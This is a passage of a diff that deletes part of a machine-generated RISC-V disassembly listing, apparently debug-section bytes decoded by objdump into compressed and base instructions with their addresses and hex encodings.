-    13d2:	007d                	c.nop	31
-    13d4:	ff08                	fsw	fa0,56(a4)
-    13d6:	241a                	fld	fs0,384(sp)
-    13d8:	8e9f 0001 1600      	0x160000018e9f
-    13de:	0002                	c.slli64	zero
-    13e0:	0100                	addi	s0,sp,128
-    13e2:	6000                	flw	fs0,0(s0)
-    13e4:	0216                	slli	tp,tp,0x5
-    13e6:	0000                	unimp
-    13e8:	028c                	addi	a1,sp,320
-    13ea:	0000                	unimp
-    13ec:	0001                	nop
-    13ee:	8c5c                	0x8c5c
-    13f0:	0002                	c.slli64	zero
-    13f2:	1600                	addi	s0,sp,800
-    13f4:	01000003          	lb	zero,16(zero) # 10 <__stack_size-0x7f0>
-    13f8:	6c00                	flw	fs0,24(s0)
-    13fa:	035a                	slli	t1,t1,0x16
-    13fc:	0000                	unimp
-    13fe:	0360                	addi	s0,sp,396
-    1400:	0000                	unimp
-    1402:	0001                	nop
-    1404:	005c                	addi	a5,sp,4
-    1406:	0000                	unimp
-    1408:	0000                	unimp
-    140a:	0000                	unimp
-    140c:	0800                	addi	s0,sp,16
-    140e:	0000                	unimp
-    1410:	1600                	addi	s0,sp,800
-    1412:	0000                	unimp
-    1414:	0100                	addi	s0,sp,128
-    1416:	5d00                	lw	s0,56(a0)
-    1418:	0016                	c.slli	zero,0x5
-    141a:	0000                	unimp
-    141c:	002a                	c.slli	zero,0xa
-    141e:	0000                	unimp
-    1420:	0001                	nop
-    1422:	c65a                	sw	s6,12(sp)
-    1424:	0000                	unimp
-    1426:	ca00                	sw	s0,16(a2)
-    1428:	0000                	unimp
-    142a:	0100                	addi	s0,sp,128
-    142c:	5a00                	lw	s0,48(a2)
-    142e:	00d4                	addi	a3,sp,68
-    1430:	0000                	unimp
-    1432:	00ec                	addi	a1,sp,76
-    1434:	0000                	unimp
-    1436:	0001                	nop
-    1438:	7c5a                	flw	fs8,180(sp)
-    143a:	0001                	nop
-    143c:	8200                	0x8200
-    143e:	0001                	nop
-    1440:	0100                	addi	s0,sp,128
-    1442:	5a00                	lw	s0,48(a2)
-    1444:	0216                	slli	tp,tp,0x5
-    1446:	0000                	unimp
-    1448:	022e                	slli	tp,tp,0xb
-    144a:	0000                	unimp
-    144c:	0001                	nop
-    144e:	2e5a                	fld	ft8,400(sp)
-    1450:	0002                	c.slli64	zero
-    1452:	5a00                	lw	s0,48(a2)
-    1454:	0002                	c.slli64	zero
-    1456:	0100                	addi	s0,sp,128
-    1458:	5d00                	lw	s0,56(a0)
-    145a:	025a                	slli	tp,tp,0x16
-    145c:	0000                	unimp
-    145e:	0268                	addi	a0,sp,268
-    1460:	0000                	unimp
-    1462:	0001                	nop
-    1464:	685a                	flw	fa6,148(sp)
-    1466:	0002                	c.slli64	zero
-    1468:	7000                	flw	fs0,32(s0)
-    146a:	0002                	c.slli64	zero
-    146c:	0100                	addi	s0,sp,128
-    146e:	5d00                	lw	s0,56(a0)
-    1470:	0274                	addi	a3,sp,268
-    1472:	0000                	unimp
-    1474:	0306                	slli	t1,t1,0x1
-    1476:	0000                	unimp
-    1478:	0001                	nop
-    147a:	5a60                	lw	s0,116(a2)
-    147c:	5e000003          	lb	zero,1504(zero) # 5e0 <__stack_size-0x220>
-    1480:	01000003          	lb	zero,16(zero) # 10 <__stack_size-0x7f0>
-    1484:	5a00                	lw	s0,48(a2)
-    1486:	035e                	slli	t1,t1,0x17
-    1488:	0000                	unimp
-    148a:	0360                	addi	s0,sp,396
-    148c:	0000                	unimp
-    148e:	0001                	nop
-    1490:	005d                	c.nop	23
-    1492:	0000                	unimp
-    1494:	0000                	unimp
-    1496:	0000                	unimp
-    1498:	0a00                	addi	s0,sp,272
-    149a:	0000                	unimp
-    149c:	5400                	lw	s0,40(s0)
-    149e:	0000                	unimp
-    14a0:	0100                	addi	s0,sp,128
-    14a2:	6100                	flw	fs0,0(a0)
-    14a4:	0054                	addi	a3,sp,4
-    14a6:	0000                	unimp
-    14a8:	0094                	addi	a3,sp,64
-    14aa:	0000                	unimp
-    14ac:	0001                	nop
-    14ae:	c656                	sw	s5,12(sp)
-    14b0:	0000                	unimp
-    14b2:	4c00                	lw	s0,24(s0)
-    14b4:	0001                	nop
-    14b6:	0100                	addi	s0,sp,128
-    14b8:	5600                	lw	s0,40(a2)
-    14ba:	017c                	addi	a5,sp,140
-    14bc:	0000                	unimp
-    14be:	0196                	slli	gp,gp,0x5
-    14c0:	0000                	unimp
-    14c2:	0001                	nop
-    14c4:	9656                	add	a2,a2,s5
-    14c6:	0001                	nop
-    14c8:	a200                	fsd	fs0,0(a2)
-    14ca:	0001                	nop
-    14cc:	0100                	addi	s0,sp,128
-    14ce:	6100                	flw	fs0,0(a0)
-    14d0:	01a6                	slli	gp,gp,0x9
-    14d2:	0000                	unimp
-    14d4:	0278                	addi	a4,sp,268
-    14d6:	0000                	unimp
-    14d8:	0001                	nop
-    14da:	7856                	flw	fa6,116(sp)
-    14dc:	0002                	c.slli64	zero
-    14de:	9000                	0x9000
-    14e0:	0002                	c.slli64	zero
-    14e2:	0100                	addi	s0,sp,128
-    14e4:	6100                	flw	fs0,0(a0)
-    14e6:	0290                	addi	a2,sp,320
-    14e8:	0000                	unimp
-    14ea:	034e                	slli	t1,t1,0x13
-    14ec:	0000                	unimp
-    14ee:	0006                	c.slli	zero,0x1
-    14f0:	0081                	addi	ra,ra,0
-    14f2:	9f24007b          	0x9f24007b
-    14f6:	035a                	slli	t1,t1,0x16
-    14f8:	0000                	unimp
-    14fa:	0360                	addi	s0,sp,396
-    14fc:	0000                	unimp
-    14fe:	0001                	nop
-    1500:	0056                	c.slli	zero,0x15
-    1502:	0000                	unimp
-    1504:	0000                	unimp
-    1506:	0000                	unimp
-    1508:	0a00                	addi	s0,sp,272
-    150a:	0000                	unimp
-    150c:	4600                	lw	s0,8(a2)
-    150e:	0000                	unimp
-    1510:	0100                	addi	s0,sp,128
-    1512:	5b00                	lw	s0,48(a4)
-    1514:	0046                	c.slli	zero,0x11
-    1516:	0000                	unimp
-    1518:	0050                	addi	a2,sp,4
-    151a:	0000                	unimp
-    151c:	0001                	nop
-    151e:	505f 0000 7000      	0x70000000505f
-    1524:	0000                	unimp
-    1526:	0100                	addi	s0,sp,128
-    1528:	5b00                	lw	s0,48(a4)
-    152a:	00c6                	slli	ra,ra,0x11
-    152c:	0000                	unimp
-    152e:	0108                	addi	a0,sp,128
-    1530:	0000                	unimp
-    1532:	0001                	nop
-    1534:	0001085b          	0x1085b
-    1538:	2000                	fld	fs0,0(s0)
-    153a:	0001                	nop
-    153c:	0100                	addi	s0,sp,128
-    153e:	5f00                	lw	s0,56(a4)
-    1540:	017c                	addi	a5,sp,140
-    1542:	0000                	unimp
-    1544:	01a6                	slli	gp,gp,0x9
-    1546:	0000                	unimp
-    1548:	0001                	nop
-    154a:	0001a65b          	0x1a65b
-    154e:	e400                	fsw	fs0,8(s0)
-    1550:	0001                	nop
-    1552:	0100                	addi	s0,sp,128
-    1554:	5c00                	lw	s0,56(s0)
-    1556:	0214                	addi	a3,sp,256
-    1558:	0000                	unimp
-    155a:	0216                	slli	tp,tp,0x5
-    155c:	0000                	unimp
-    155e:	0001                	nop
-    1560:	165f 0002 2800      	0x28000002165f
-    1566:	0002                	c.slli64	zero
-    1568:	0100                	addi	s0,sp,128
-    156a:	5b00                	lw	s0,48(a4)
-    156c:	0228                	addi	a0,sp,264
-    156e:	0000                	unimp
-    1570:	025a                	slli	tp,tp,0x16
-    1572:	0000                	unimp
-    1574:	0001                	nop
-    1576:	5a5f 0002 6000      	0x600000025a5f
-    157c:	0002                	c.slli64	zero
-    157e:	0100                	addi	s0,sp,128
-    1580:	5b00                	lw	s0,48(a4)
-    1582:	0260                	addi	s0,sp,268
-    1584:	0000                	unimp
-    1586:	0284                	addi	s1,sp,320
-    1588:	0000                	unimp
-    158a:	0001                	nop
-    158c:	905f 0002 dc00      	0xdc000002905f
-    1592:	0002                	c.slli64	zero
-    1594:	0100                	addi	s0,sp,128
-    1596:	5c00                	lw	s0,56(s0)
-    1598:	030a                	slli	t1,t1,0x2
-    159a:	0000                	unimp
-    159c:	0340                	addi	s0,sp,388
-    159e:	0000                	unimp
-    15a0:	0001                	nop
-    15a2:	5a5f 0003 5c00      	0x5c0000035a5f
-    15a8:	01000003          	lb	zero,16(zero) # 10 <__stack_size-0x7f0>
-    15ac:	5b00                	lw	s0,48(a4)
-    15ae:	035c                	addi	a5,sp,388
-    15b0:	0000                	unimp
-    15b2:	0360                	addi	s0,sp,396
-    15b4:	0000                	unimp
-    15b6:	0001                	nop
-    15b8:	005f 0000 0000      	0x5f
-    15be:	0000                	unimp
-    15c0:	9200                	0x9200
-    15c2:	0001                	nop
-    15c4:	b800                	fsd	fs0,48(s0)
-    15c6:	0001                	nop
-    15c8:	0100                	addi	s0,sp,128
-    15ca:	5a00                	lw	s0,48(a2)
-    15cc:	028c                	addi	a1,sp,320
-    15ce:	0000                	unimp
-    15d0:	029e                	slli	t0,t0,0x7
-    15d2:	0000                	unimp
-    15d4:	0001                	nop
-    15d6:	0056                	c.slli	zero,0x15
-    15d8:	0000                	unimp
-    15da:	0000                	unimp
-    15dc:	0000                	unimp
-    15de:	c200                	sw	s0,0(a2)
-    15e0:	0000                	unimp
-    15e2:	c600                	sw	s0,8(a2)
-    15e4:	0000                	unimp
-    15e6:	0100                	addi	s0,sp,128
-    15e8:	5a00                	lw	s0,48(a2)
-    15ea:	030a                	slli	t1,t1,0x2
-    15ec:	0000                	unimp
-    15ee:	035a                	slli	t1,t1,0x16
-    15f0:	0000                	unimp
-    15f2:	0001                	nop
-    15f4:	005a                	c.slli	zero,0x16
-    15f6:	0000                	unimp
-    15f8:	0000                	unimp
-    15fa:	0000                	unimp
-    15fc:	0800                	addi	s0,sp,16
-    15fe:	0001                	nop
-    1600:	0a00                	addi	s0,sp,272
-    1602:	0001                	nop
-    1604:	0200                	addi	s0,sp,256
-    1606:	3100                	fld	fs0,32(a0)
-    1608:	0a9f 0001 7a00      	0x7a0000010a9f
-    160e:	0001                	nop
-    1610:	0100                	addi	s0,sp,128
-    1612:	5b00                	lw	s0,48(a4)
-    1614:	0214                	addi	a3,sp,256
-    1616:	0000                	unimp
-    1618:	0216                	slli	tp,tp,0x5
-    161a:	0000                	unimp
-    161c:	0001                	nop
-    161e:	0000005b          	0x5b
-    1622:	0000                	unimp
-    1624:	0000                	unimp
-    1626:	8a00                	0x8a00
-    1628:	0001                	nop
-    162a:	9e00                	0x9e00
-    162c:	0001                	nop
-    162e:	0100                	addi	s0,sp,128
-    1630:	5e00                	lw	s0,56(a2)
-    1632:	0268                	addi	a0,sp,268
-    1634:	0000                	unimp
-    1636:	0288                	addi	a0,sp,320
-    1638:	0000                	unimp
-    163a:	0001                	nop
-    163c:	005e                	c.slli	zero,0x17
-    163e:	0000                	unimp
-    1640:	0000                	unimp
-    1642:	0000                	unimp
-    1644:	3e00                	fld	fs0,56(a2)
-    1646:	0000                	unimp
-    1648:	5c00                	lw	s0,56(s0)
-    164a:	0000                	unimp
-    164c:	0100                	addi	s0,sp,128
-    164e:	5d00                	lw	s0,56(a0)
-    1650:	0100                	addi	s0,sp,128
-    1652:	0000                	unimp
-    1654:	010a                	slli	sp,sp,0x2
-    1656:	0000                	unimp
-    1658:	0001                	nop
-    165a:	8a5d                	andi	a2,a2,23
-    165c:	0001                	nop
-    165e:	c000                	sw	s0,0(s0)
-    1660:	0001                	nop
-    1662:	0100                	addi	s0,sp,128
-    1664:	5d00                	lw	s0,56(a0)
-    1666:	0246                	slli	tp,tp,0x11
-    1668:	0000                	unimp
-    166a:	025a                	slli	tp,tp,0x16
-    166c:	0000                	unimp
-    166e:	0001                	nop
-    1670:	0002685b          	0x2685b
-    1674:	5200                	lw	s0,32(a2)
-    1676:	01000003          	lb	zero,16(zero) # 10 <__stack_size-0x7f0>
-    167a:	5b00                	lw	s0,48(a4)
-	...
-    1684:	001a                	c.slli	zero,0x6
-    1686:	0000                	unimp
-    1688:	0042                	c.slli	zero,0x10
-    168a:	0000                	unimp
-    168c:	0001                	nop
-    168e:	425c                	lw	a5,4(a2)
-    1690:	0000                	unimp
-    1692:	4e00                	lw	s0,24(a2)
-    1694:	0000                	unimp
-    1696:	0900                	addi	s0,sp,144
-    1698:	7c00                	flw	fs0,56(s0)
-    169a:	7d00                	flw	fs0,56(a0)
-    169c:	0800                	addi	s0,sp,16
-    169e:	1aff                	0x1aff
-    16a0:	9f24                	0x9f24
-    16a2:	004e                	c.slli	zero,0x13
-    16a4:	0000                	unimp
-    16a6:	00c2                	slli	ra,ra,0x10
-    16a8:	0000                	unimp
-    16aa:	0001                	nop
-    16ac:	c660                	sw	s0,76(a2)
-    16ae:	0000                	unimp
-    16b0:	d400                	sw	s0,40(s0)
-    16b2:	0000                	unimp
-    16b4:	0100                	addi	s0,sp,128
-    16b6:	5c00                	lw	s0,56(s0)
-	...
-    16c0:	002a                	c.slli	zero,0xa
-    16c2:	0000                	unimp
-    16c4:	003a                	c.slli	zero,0xe
-    16c6:	0000                	unimp
-    16c8:	0001                	nop
-    16ca:	005e                	c.slli	zero,0x17
-    16cc:	0000                	unimp
-    16ce:	0000                	unimp
-    16d0:	0000                	unimp
-    16d2:	5800                	lw	s0,48(s0)
-    16d4:	0000                	unimp
-    16d6:	c200                	sw	s0,0(a2)
-    16d8:	0000                	unimp
-    16da:	0100                	addi	s0,sp,128
-    16dc:	6100                	flw	fs0,0(a0)
-	...
-    16e6:	0062                	c.slli	zero,0x18
-    16e8:	0000                	unimp
-    16ea:	00a8                	addi	a0,sp,72
-    16ec:	0000                	unimp
-    16ee:	0001                	nop
-    16f0:	a85c                	fsd	fa5,144(s0)
-    16f2:	0000                	unimp
-    16f4:	c200                	sw	s0,0(a2)
-    16f6:	0000                	unimp
-    16f8:	0700                	addi	s0,sp,896
-    16fa:	8000                	0x8000
-    16fc:	4000                	lw	s0,0(s0)
-    16fe:	4024                	lw	s1,64(s0)
-    1700:	9f25                	0x9f25
-	...
-    170a:	006a                	c.slli	zero,0x1a
-    170c:	0000                	unimp
-    170e:	007e                	c.slli	zero,0x1f
-    1710:	0000                	unimp
-    1712:	0001                	nop
-    1714:	7e5d                	lui	t3,0xffff7
-    1716:	0000                	unimp
-    1718:	c000                	sw	s0,0(s0)
-    171a:	0000                	unimp
-    171c:	0100                	addi	s0,sp,128
-    171e:	5a00                	lw	s0,48(a2)
-	...
-    1728:	009c                	addi	a5,sp,64
-    172a:	0000                	unimp
-    172c:	00b2                	slli	ra,ra,0xc
-    172e:	0000                	unimp
-    1730:	0001                	nop
-    1732:	b25f 0000 c200      	0xc2000000b25f
-    1738:	0000                	unimp
-    173a:	0100                	addi	s0,sp,128
-    173c:	5c00                	lw	s0,56(s0)
-	...
-    1746:	006a                	c.slli	zero,0x1a
-    1748:	0000                	unimp
-    174a:	0072                	c.slli	zero,0x1c
-    174c:	0000                	unimp
-    174e:	0001                	nop
-    1750:	745e                	flw	fs0,244(sp)
-    1752:	0000                	unimp
-    1754:	7a00                	flw	fs0,48(a2)
-    1756:	0000                	unimp
-    1758:	0100                	addi	s0,sp,128
-    175a:	5f00                	lw	s0,56(a4)
-    175c:	007a                	c.slli	zero,0x1e
-    175e:	0000                	unimp
-    1760:	007e                	c.slli	zero,0x1f
-    1762:	0000                	unimp
-    1764:	0008                	0x8
-    1766:	0076                	c.slli	zero,0x1d
-    1768:	2540                	fld	fs0,136(a0)
-    176a:	007e                	c.slli	zero,0x1f
-    176c:	9f21                	0x9f21
-    176e:	007e                	c.slli	zero,0x1f
-    1770:	0000                	unimp
-    1772:	009c                	addi	a5,sp,64
-    1774:	0000                	unimp
-    1776:	0001                	nop
-    1778:	005f 0000 0000      	0x5f
-    177e:	0000                	unimp
-    1780:	9200                	0x9200
-    1782:	0000                	unimp
-    1784:	9e00                	0x9e00
-    1786:	0000                	unimp
-    1788:	0100                	addi	s0,sp,128
-    178a:	5e00                	lw	s0,56(a2)
-    178c:	00a6                	slli	ra,ra,0x9
-    178e:	0000                	unimp
-    1790:	00ae                	slli	ra,ra,0xb
-    1792:	0000                	unimp
-    1794:	0001                	nop
-    1796:	0056                	c.slli	zero,0x15
-    1798:	0000                	unimp
-    179a:	0000                	unimp
-    179c:	0000                	unimp
-    179e:	7000                	flw	fs0,32(s0)
-    17a0:	0000                	unimp
-    17a2:	a600                	fsd	fs0,8(a2)
-    17a4:	0000                	unimp
-    17a6:	0100                	addi	s0,sp,128
-    17a8:	5b00                	lw	s0,48(a4)
-    17aa:	00a6                	slli	ra,ra,0x9
-    17ac:	0000                	unimp
-    17ae:	00c2                	slli	ra,ra,0x10
-    17b0:	0000                	unimp
-    17b2:	0001                	nop
-    17b4:	005d                	c.nop	23
-    17b6:	0000                	unimp
-    17b8:	0000                	unimp
-    17ba:	0000                	unimp
-    17bc:	3600                	fld	fs0,40(a2)
-    17be:	58000003          	lb	zero,1408(zero) # 580 <__stack_size-0x280>
-    17c2:	01000003          	lb	zero,16(zero) # 10 <__stack_size-0x7f0>
-    17c6:	6000                	flw	fs0,0(s0)
-	...
-    17d0:	0336                	slli	t1,t1,0xd
-    17d2:	0000                	unimp
-    17d4:	0344                	addi	s1,sp,388
-    17d6:	0000                	unimp
-    17d8:	0010                	0x10
-    17da:	008c                	addi	a1,sp,64
-    17dc:	ff0a                	fsw	ft2,188(sp)
-    17de:	1aff                	0x1aff
-    17e0:	007e                	c.slli	zero,0x1f
-    17e2:	ff0a                	fsw	ft2,188(sp)
-    17e4:	1aff                	0x1aff
-    17e6:	2440                	fld	fs0,136(s0)
-    17e8:	9f22                	add	t5,t5,s0
-    17ea:	0344                	addi	s1,sp,388
-    17ec:	0000                	unimp
-    17ee:	034a                	slli	t1,t1,0x12
-    17f0:	0000                	unimp
-    17f2:	0015                	c.nop	5
-    17f4:	008c                	addi	a1,sp,64
-    17f6:	ff0a                	fsw	ft2,188(sp)
-    17f8:	1aff                	0x1aff
-    17fa:	008c                	addi	a1,sp,64
-    17fc:	2540                	fld	fs0,136(a0)
-    17fe:	0076                	c.slli	zero,0x1d
-    1800:	0a22                	slli	s4,s4,0x8
-    1802:	ffff                	0xffff
-    1804:	401a                	0x401a
-    1806:	2224                	fld	fs1,64(a2)
-    1808:	009f 0000 0000      	0x9f
-    180e:	0000                	unimp
-    1810:	9000                	0x9000
-    1812:	0002                	c.slli64	zero
-    1814:	f800                	fsw	fs0,48(s0)
-    1816:	0002                	c.slli64	zero
-    1818:	0100                	addi	s0,sp,128
-    181a:	6d00                	flw	fs0,24(a0)
-    181c:	02f8                	addi	a4,sp,332
-    181e:	0000                	unimp
-    1820:	0306                	slli	t1,t1,0x1
-    1822:	0000                	unimp
-    1824:	0005                	c.nop	1
-    1826:	0080                	addi	s0,sp,64
-    1828:	2540                	fld	fs0,136(a0)
-    182a:	009f 0000 0000      	0x9f
-    1830:	0000                	unimp
-    1832:	9600                	0x9600
-    1834:	0002                	c.slli64	zero
-    1836:	d600                	sw	s0,40(a2)
-    1838:	0002                	c.slli64	zero
-    183a:	0100                	addi	s0,sp,128
-    183c:	5f00                	lw	s0,56(a4)
-    183e:	02d6                	slli	t0,t0,0x15
-    1840:	0000                	unimp
-    1842:	0306                	slli	t1,t1,0x1
-    1844:	0000                	unimp
-    1846:	00800007          	0x800007
-    184a:	2440                	fld	fs0,136(s0)
-    184c:	2540                	fld	fs0,136(a0)
-    184e:	009f 0000 0000      	0x9f
-    1854:	0000                	unimp
-    1856:	9e00                	0x9e00
-    1858:	0002                	c.slli64	zero
-    185a:	b200                	fsd	fs0,32(a2)
-    185c:	0002                	c.slli64	zero
-    185e:	0100                	addi	s0,sp,128
-    1860:	5600                	lw	s0,40(a2)
-    1862:	02b2                	slli	t0,t0,0xc
-    1864:	0000                	unimp
-    1866:	02f6                	slli	t0,t0,0x1d
-    1868:	0000                	unimp
-    186a:	0001                	nop
-    186c:	005a                	c.slli	zero,0x16
-    186e:	0000                	unimp
-    1870:	0000                	unimp
-    1872:	0000                	unimp
-    1874:	cc00                	sw	s0,24(s0)
-    1876:	0002                	c.slli64	zero
-    1878:	e600                	fsw	fs0,8(a2)
-    187a:	0002                	c.slli64	zero
-    187c:	0100                	addi	s0,sp,128
-    187e:	5e00                	lw	s0,56(a2)
-    1880:	02e6                	slli	t0,t0,0x19
-    1882:	0000                	unimp
-    1884:	0302                	c.slli64	t1
-    1886:	0000                	unimp
-    1888:	0001                	nop
-    188a:	005c                	addi	a5,sp,4
-    188c:	0000                	unimp
-    188e:	0000                	unimp
-    1890:	0000                	unimp
-    1892:	9600                	0x9600
-    1894:	0002                	c.slli64	zero
-    1896:	a000                	fsd	fs0,0(s0)
-    1898:	0002                	c.slli64	zero
-    189a:	0100                	addi	s0,sp,128
-    189c:	5d00                	lw	s0,56(a0)
-    189e:	02a6                	slli	t0,t0,0x9
-    18a0:	0000                	unimp
-    18a2:	02ae                	slli	t0,t0,0xb
-    18a4:	0000                	unimp
-    18a6:	0001                	nop
-    18a8:	ae5e                	fsd	fs7,280(sp)
-    18aa:	0002                	c.slli64	zero
-    18ac:	b200                	fsd	fs0,32(a2)
-    18ae:	0002                	c.slli64	zero
-    18b0:	0800                	addi	s0,sp,16
-    18b2:	7c00                	flw	fs0,56(s0)
-    18b4:	4000                	lw	s0,0(s0)
-    18b6:	7d25                	lui	s10,0xfffe9
-    18b8:	2100                	fld	fs0,0(a0)
-    18ba:	b29f 0002 cc00      	0xcc000002b29f
-    18c0:	0002                	c.slli64	zero
-    18c2:	0100                	addi	s0,sp,128
-    18c4:	5e00                	lw	s0,56(a2)
-	...
-    18ce:	02c8                	addi	a0,sp,324
-    18d0:	0000                	unimp
-    18d2:	02ce                	slli	t0,t0,0x13
-    18d4:	0000                	unimp
-    18d6:	0001                	nop
-    18d8:	da5d                	beqz	a2,188e <__stack_size+0x108e>
-    18da:	0002                	c.slli64	zero
-    18dc:	e200                	fsw	fs0,0(a2)
-    18de:	0002                	c.slli64	zero
-    18e0:	0100                	addi	s0,sp,128
-    18e2:	5f00                	lw	s0,56(a4)
-    18e4:	02e6                	slli	t0,t0,0x19
-    18e6:	0000                	unimp
-    18e8:	0340                	addi	s0,sp,388
-    18ea:	0000                	unimp
-    18ec:	0001                	nop
-    18ee:	005f 0000 0000      	0x5f
-    18f4:	0000                	unimp
-    18f6:	a600                	fsd	fs0,8(a2)
-    18f8:	0002                	c.slli64	zero
-    18fa:	d200                	sw	s0,32(a2)
-    18fc:	0002                	c.slli64	zero
-    18fe:	0100                	addi	s0,sp,128
-    1900:	6e00                	flw	fs0,24(a2)
-    1902:	02d2                	slli	t0,t0,0x14
-    1904:	0000                	unimp
-    1906:	030e                	slli	t1,t1,0x3
-    1908:	0000                	unimp
-    190a:	0001                	nop
-    190c:	0056                	c.slli	zero,0x15
-    190e:	0000                	unimp
-    1910:	0000                	unimp
-    1912:	0000                	unimp
-    1914:	1600                	addi	s0,sp,800
-    1916:	4a000003          	lb	zero,1184(zero) # 4a0 <__stack_size-0x360>
-    191a:	01000003          	lb	zero,16(zero) # 10 <__stack_size-0x7f0>
-    191e:	6c00                	flw	fs0,24(s0)
-	...
-    1928:	0316                	slli	t1,t1,0x5
-    192a:	0000                	unimp
-    192c:	0322                	slli	t1,t1,0x8
-    192e:	0000                	unimp
-    1930:	0006                	c.slli	zero,0x1
-    1932:	0076                	c.slli	zero,0x1d
-    1934:	007c                	addi	a5,sp,12
-    1936:	9f1e                	add	t5,t5,t2
-    1938:	0322                	slli	t1,t1,0x8
-    193a:	0000                	unimp
-    193c:	0324                	addi	s1,sp,392
-    193e:	0000                	unimp
-    1940:	0001                	nop
-    1942:	2456                	fld	fs0,336(sp)
-    1944:	2a000003          	lb	zero,672(zero) # 2a0 <__stack_size-0x560>
-    1948:	09000003          	lb	zero,144(zero) # 90 <__stack_size-0x770>
-    194c:	8d00                	0x8d00
-    194e:	7a7f                	0x7a7f
-    1950:	1a00                	addi	s0,sp,304
-    1952:	007c                	addi	a5,sp,12
-    1954:	9f1e                	add	t5,t5,t2
-    1956:	032a                	slli	t1,t1,0xa
-    1958:	0000                	unimp
-    195a:	0344                	addi	s1,sp,388
-    195c:	0000                	unimp
-    195e:	0001                	nop
-    1960:	445e                	lw	s0,212(sp)
-    1962:	4a000003          	lb	zero,1184(zero) # 4a0 <__stack_size-0x360>
-    1966:	08000003          	lb	zero,128(zero) # 80 <__stack_size-0x780>
-    196a:	8c00                	0x8c00
-    196c:	4000                	lw	s0,0(s0)
-    196e:	7625                	lui	a2,0xfffe9
-    1970:	2200                	fld	fs0,0(a2)
-    1972:	009f 0000 0000      	0x9f
-    1978:	0000                	unimp
-    197a:	1a00                	addi	s0,sp,304
-    197c:	34000003          	lb	zero,832(zero) # 340 <__stack_size-0x4c0>
-    1980:	01000003          	lb	zero,16(zero) # 10 <__stack_size-0x7f0>
-    1984:	5d00                	lw	s0,56(a0)
-	...
-    198e:	032a                	slli	t1,t1,0xa
-    1990:	0000                	unimp
-    1992:	0336                	slli	t1,t1,0xd
-    1994:	0000                	unimp
-    1996:	0001                	nop
-    1998:	0060                	addi	s0,sp,12
-    199a:	0000                	unimp
-    199c:	0000                	unimp
-    199e:	0000                	unimp
-    19a0:	0e00                	addi	s0,sp,784
-    19a2:	22000003          	lb	zero,544(zero) # 220 <__stack_size-0x5e0>
-    19a6:	01000003          	lb	zero,16(zero) # 10 <__stack_size-0x7f0>
-    19aa:	5600                	lw	s0,40(a2)
-    19ac:	0322                	slli	t1,t1,0x8
-    19ae:	0000                	unimp
-    19b0:	0342                	slli	t1,t1,0x10
-    19b2:	0000                	unimp
-    19b4:	0006                	c.slli	zero,0x1
-    19b6:	7f8d                	lui	t6,0xfffe3
-    19b8:	007a                	c.slli	zero,0x1e
-    19ba:	9f1a                	add	t5,t5,t1
-    19bc:	0342                	slli	t1,t1,0x10
-    19be:	0000                	unimp
-    19c0:	0356                	slli	t1,t1,0x15
-    19c2:	0000                	unimp
-    19c4:	0006                	c.slli	zero,0x1
-    19c6:	007a                	c.slli	zero,0x1e
-    19c8:	007f                	0x7f
-    19ca:	9f1a                	add	t5,t5,t1
-    19cc:	0356                	slli	t1,t1,0x15
-    19ce:	0000                	unimp
-    19d0:	0358                	addi	a4,sp,388
-    19d2:	0000                	unimp
-    19d4:	0006                	c.slli	zero,0x1
-    19d6:	7f8d                	lui	t6,0xfffe3
-    19d8:	007a                	c.slli	zero,0x1e
-    19da:	9f1a                	add	t5,t5,t1
-    19dc:	0358                	addi	a4,sp,388
-    19de:	0000                	unimp
-    19e0:	035a                	slli	t1,t1,0x16
-    19e2:	0000                	unimp
-    19e4:	0006                	c.slli	zero,0x1
-    19e6:	017a                	slli	sp,sp,0x1e
-    19e8:	7f8d                	lui	t6,0xfffe3
-    19ea:	9f1a                	add	t5,t5,t1
-	...
-    19f4:	0312                	slli	t1,t1,0x4
-    19f6:	0000                	unimp
-    19f8:	031a                	slli	t1,t1,0x6
-    19fa:	0000                	unimp
-    19fc:	0001                	nop
-    19fe:	005d                	c.nop	23
-    1a00:	0000                	unimp
-    1a02:	0000                	unimp
-    1a04:	0000                	unimp
-    1a06:	0e00                	addi	s0,sp,784
-    1a08:	2a000003          	lb	zero,672(zero) # 2a0 <__stack_size-0x560>
-    1a0c:	01000003          	lb	zero,16(zero) # 10 <__stack_size-0x7f0>
-    1a10:	6000                	flw	fs0,0(s0)
-    1a12:	032a                	slli	t1,t1,0xa
-    1a14:	0000                	unimp
-    1a16:	0358                	addi	a4,sp,388
-    1a18:	0000                	unimp
-    1a1a:	0005                	c.nop	1
-    1a1c:	007a                	c.slli	zero,0x1e
-    1a1e:	2540                	fld	fs0,136(a0)
-    1a20:	589f 0003 5a00      	0x5a000003589f
-    1a26:	05000003          	lb	zero,80(zero) # 50 <__stack_size-0x7b0>
-    1a2a:	7a00                	flw	fs0,48(a2)
-    1a2c:	4001                	c.li	zero,0
-    1a2e:	9f25                	0x9f25
-	...
-    1a38:	0312                	slli	t1,t1,0x4
-    1a3a:	0000                	unimp
-    1a3c:	035a                	slli	t1,t1,0x16
-    1a3e:	0000                	unimp
-    1a40:	0001                	nop
-    1a42:	005c                	addi	a5,sp,4
-    1a44:	0000                	unimp
-    1a46:	0000                	unimp
-    1a48:	0000                	unimp
-    1a4a:	dc00                	sw	s0,56(s0)
-    1a4c:	0000                	unimp
-    1a4e:	7a00                	flw	fs0,48(a2)
-    1a50:	0001                	nop
-    1a52:	0100                	addi	s0,sp,128
-    1a54:	6000                	flw	fs0,0(s0)
-    1a56:	017c                	addi	a5,sp,140
-    1a58:	0000                	unimp
-    1a5a:	018a                	slli	gp,gp,0x2
-    1a5c:	0000                	unimp
-    1a5e:	0001                	nop
-    1a60:	8a60                	0x8a60
-    1a62:	0001                	nop
-    1a64:	8e00                	0x8e00
-    1a66:	0001                	nop
-    1a68:	0900                	addi	s0,sp,144
-    1a6a:	8000                	0x8000
-    1a6c:	7d00                	flw	fs0,56(a0)
-    1a6e:	0800                	addi	s0,sp,16
-    1a70:	1aff                	0x1aff
-    1a72:	9f24                	0x9f24
-    1a74:	018e                	slli	gp,gp,0x3
-    1a76:	0000                	unimp
-    1a78:	0216                	slli	tp,tp,0x5
-    1a7a:	0000                	unimp
-    1a7c:	0001                	nop
-    1a7e:	0060                	addi	s0,sp,12
-    1a80:	0000                	unimp
-    1a82:	0000                	unimp
-    1a84:	0000                	unimp
-    1a86:	ec00                	fsw	fs0,24(s0)
-    1a88:	0000                	unimp
-    1a8a:	0a00                	addi	s0,sp,272
-    1a8c:	0001                	nop
-    1a8e:	0100                	addi	s0,sp,128
-    1a90:	5a00                	lw	s0,48(a2)
-    1a92:	018a                	slli	gp,gp,0x2
-    1a94:	0000                	unimp
